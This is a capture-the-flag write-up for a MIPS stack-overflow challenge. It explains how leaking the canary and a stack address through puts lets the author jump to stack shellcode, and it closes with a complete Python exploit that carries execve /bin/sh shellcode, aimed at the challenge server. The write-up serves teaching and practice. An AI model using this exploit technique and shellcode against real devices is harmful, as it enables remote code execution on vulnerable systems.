no risc no future

The challenge:

We use microcontrollers to automate and conserve energy. IoT and stuff. Most of them don't use CISC architectures.

In this challenge we are given 4 files. README.md and it’s pretty self-explanatory. The actual challenge file is no_risc_no_future and the readme specifies we should run it using qemu-mipsel-static. This tells us that the challenge is designed for the MIPS architecture (which is a RISC architecture, unlike CISC).

For this challenge, we chose to use Ghidra, since it has a built-in decompiler for MIPS, which eases our understanding of the exercise.

The code is very simple to read, and this is a textbook stack overflow exercise:

undefined4 main(void)

{
  int read_count;
  undefined buf [64];
  int cookie;

  cookie = __stack_chk_guard;
  read_count = 0;
  while (read_count < 10) {
    read(0,buf,0x100);
    puts(buf);
    read_count = read_count + 1;
  }
  if (cookie != __stack_chk_guard) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return 0;
}

In short:

  • The code reads 0x100 bytes into a 0x40 byte-long buffer (Overflow…).
  • The code prints whatever string is pointed at “buf” (Infoleak…).
  • The code does the following 10 times.

It’s also very clear that we have a stack cookie in place, designed to protect against stack overflows.

Studying the following, it’s very apparent that our challenge here is somehow bypassing the cookie protection mechanism, and then take-over the PC saved in the stack.

We are also provided with the following lines in README.md, which let us debug the binary:

./qemu-mipsel-static -g 1234 no_risc_no_future
gdb-multiarch -ex "break main" -ex "target remote localhost:1234" -ex "continue" ./no_risc_no_future

(Note: my gdb crashed while using gef, but peda seemed to work fine)

Last important point – the code iterates 10 times before finishing, which gives us multiple attempts to exploit the buffer overflow issue. As we’ll soon see – we need a few attempts to properly exploit the binary.

Leaking the cookie

In order to bypass the cookie protection, let’s see where it’s located and what it looks like. This is a dump from gdb, while breaking on read:

gdb-peda$ x/100wx $sp
0x7fffe348:     0x004072a0      0x0049075c      0x00498300      0x0049074c
0x7fffe358:     0x00498300      0x0048c8fc      0x00400e60      0x00000000
0x7fffe368:     0x00400e60      0x00000000      0x00000000      0x00400634
0x7fffe378:     0x00498300      0x7fffe4a4      0x7fffe6e9      0x004002d4
0x7fffe388:     0x00498300      0x0041fb68      0x00000004      0x41414141
0x7fffe398:     0x41414141      0x41414141      0x41414141      0x41414141
0x7fffe3a8:     0x41414141      0x41414141      0x6164730a      0x00420a66
0x7fffe3b8:     0x00498300      0x00000000      0x00000000      0x00400e60
0x7fffe3c8:     0x00000000      0x00000000      0x00000000      0xf7c27700
0x7fffe3d8:     0x00000000      0x004008e8      0x00000000      0x00000000

We can clearly see some AAAA‘s that I delivered as input. The cookie is located exactly 0x40 bytes after the buf start (0x0x7fffe394). Cookie @ 0x7fffe3d4 = 0xf7c27700.

As we can see, the first byte of the cookie is a null byte. This is true for every run of the program (you can check it out yourself). So we know one byte, and left with 3 more. What we can do is overflow 1 byte into the cookie (write 0x41 times some printable character), and then puts will print these bytes, along with the 3 cookie bytes which aren’t null. This way we get an info-leak for the cookie, and can deduce the full cookie from the text that’s printed.

Shellcode

At this point, we wanted to see if we can run code easily from the stack. We copied some MIPS shellcode we found to run bash, put it on the stack, and overwrote the buffer, with the correct cookie, and then PC. Turns out it works! Phew, no need to ROP or anything. BUT, when trying the same thing on the real server, it didn’t work. After thinking a bit, it seems like the stack isn’t always located in the same place, so we need to leak it.

Leaking the stack

Reading the code, and looking at the gdb memory dump, it seems that buf is uninitialized, and is filled with previous “garbage” data. One of the things that are present in the buffer is a stack address.

gdb-peda$ x/100wx $sp
0x7fffe348:     0x004072a0      0x0049075c      0x00498300      0x0049074c
0x7fffe358:     0x00498300      0x0048c8fc      0x00400e60      0x00000000
0x7fffe368:     0x00400e60      0x00000000      0x00000000      0x00400634
0x7fffe378:     0x00498300      0x7fffe4a4      0x7fffe6e9      0x004002d4
0x7fffe388:     0x00498300      0x0041fb68      0x00000001      0x41414141
0x7fffe398:     0x42424242      0x0049070a      0x00000000      0x00400ef4
0x7fffe3a8:     0x00000000      0x00000001      0x7fffe4a4      0x004218c4
0x7fffe3b8:     0x00498300      0x00000000      0x00000000      0x00400e60
0x7fffe3c8:     0x00000000      0x00000000      0x00000000      0x4acc2700
0x7fffe3d8:     0x00000000      0x004008e8      0x00000000      0x00000000

This is another memory dump, showing the buffer “AAAABBBB” as read from the user, and some “leftovers” inside buf. We can clearly see that one of the addresses left inside buf is a stack address – 0x7fffe4a4 @ 0x7fffe3b0. And just in the same manner that we leaked the cookie – we can leak the stack address. Write 0x1c bytes up to the stack address, which will yield in puts printing it along with our data.

This address turns out to always be relative to where our buffer begins (0x7fffe394). These addresses are 0x110 bytes apart. So we know where our shellcode is located, and what value to set PC to.

Summary

To sum everything up – we have 3 important iterations:

  1. Leak stack address.
  2. Leak cookie value
  3. Write shellcode and overwrite PC to point to our shellcode (last iteration)

And that’s a wrap folks. It was a nice, easy challenge.

flag sha1sum: 1afc8fcd93dcee46d7578cb8307580632eb6e545

Code

import time
import socket
import struct
import hexdump
import binascii

#HOST = '127.0.0.1'
#PORT = 1337

HOST = "noriscnofuture.forfuture.fluxfingers.net"
PORT = 1338

def recv_data(s, do_hexdump=False):
    data = s.recv(1024)
    if do_hexdump:
        hexdump.hexdump(data)
    return data

def leak_canary(s):
    leak_canary_msg = "A" * 0x41
    s.send(leak_canary_msg)
    data = recv_data(s)
    canary = b"\x00" + data[0x41:0x44]
    print("canary is: ", binascii.hexlify(canary))
    return canary

def leak_stack(s):
    leak_stack_msg = "A" * 0x1c
    s.send(leak_stack_msg)
    data = recv_data(s)
    stack_addr = data[0x1c:0x20]
    stack_addr = struct.unpack("<I", stack_addr)[0]
    print("stack_addr is: ", hex(stack_addr))
    return stack_addr

def send_stub(s):
    stub_msg = "A" * 0x10
    s.send(stub_msg)
    data = recv_data(s)
    print("sent stub")

def override_pc(s, canary, pc):
    shellcode = b"\x50\x73\x06\x24\xff\xff\xd0\x04\x50\x73\x0f\x24\xff\xff\x06\x28\xe0\xff\xbd\x27\xd7\xff\x0f\x24\x27\x78\xe0\x01\x21\x20\xef\x03\xe8\xff\xa4\xaf\xec\xff\xa0\xaf\xe8\xff\xa5\x23\xab\x0f\x02\x24\x0c\x01\x01\x01/bin/sh\x00BBBB"
    assert len(shellcode) == 0x40
    final_msg = shellcode + canary + (b"\x00"*4) + pc
    print("len: ", hex(len(final_msg)))
    assert len(final_msg) == 0x4c
    s.send(final_msg)    
    data = recv_data(s)
    print ("fix cookie, overwrite pc")


s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))

stack_leak_addr = leak_stack(s)
stack_start_addr = stack_leak_addr-0x110

canary = leak_canary(s)
pc = struct.pack("<I", stack_start_addr)

for i in range(7):
    send_stub(s)

override_pc(s, canary, pc)

time.sleep(2)

s.send("cat flag\n")
recv_data(s, do_hexdump=True)
s.send("cat flag\n")
recv_data(s, do_hexdump=True)